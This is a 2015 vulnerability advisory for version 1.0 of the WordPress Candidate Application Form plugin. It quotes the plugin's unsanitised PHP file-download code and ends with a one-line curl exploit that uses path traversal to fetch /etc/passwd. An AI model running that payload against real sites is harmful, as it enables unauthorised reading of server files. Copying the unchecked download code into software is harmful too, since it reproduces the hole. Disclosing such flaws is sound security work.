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WordPress Candidate Application Form 1.0 File Download

WordPress Candidate Application Form 1.0 File Download
Posted Aug 5, 2015
Authored by Larry W. Cashdollar

WordPress Candidate Application Form plugin version 1.0 suffers from an arbitrary remote file download vulnerability.

tags | exploit, remote, arbitrary
MD5 | 78d611c6512390266d7731febb3c913d

WordPress Candidate Application Form 1.0 File Download

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Title: Remote file download vulnerability in candidate-application-form v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-12
Download Site: https://wordpress.org/plugins/candidate-application-form
Vendor: https://profiles.wordpress.org/flaxlandsconsulting/
Vendor Notified: 2015-07-12
Vendor Contact:
Description: This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
Vulnerability:
The code in downloadpdffile.php doesn't do any sanity checks, allowing a remote attacker to download sensitive system files:

<?php
2 $file_name = $_GET["fileName"];
3 $path = $_GET["fileUrl"];
4 $fullfile = $path.$file_name;
5 if (file_exists('../../uploads/candidate_application_form/'.$file_name)) {
6 header('Pragma: public'); // required
7 header('Expires: 0'); // no cache
8 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
9 header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ('../../uploads/candidate_application_form/'.$file_ name)).' GMT');
10 header('Cache-Control: private',false);
11 header('Content-Type: '.'application/pdf');
12 header('Content-Disposition: attachment; filename="'.basename('../../uploads/candidate_application_form/'.$file_ name).'"');
13 header('Content-Transfer-Encoding: binary');
14 header('Content-Length: '.filesize('../../uploads/candidate_application_form/'.$file_name)); // provide file size
15 header('Connection: close');
16 readfile('../../uploads/candidate_application_form/'.$file_name); // push it out
17 exit();
18 }

CVEID:
OSVDB:
Exploit Code:
• $ curl http://www.example.com/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd

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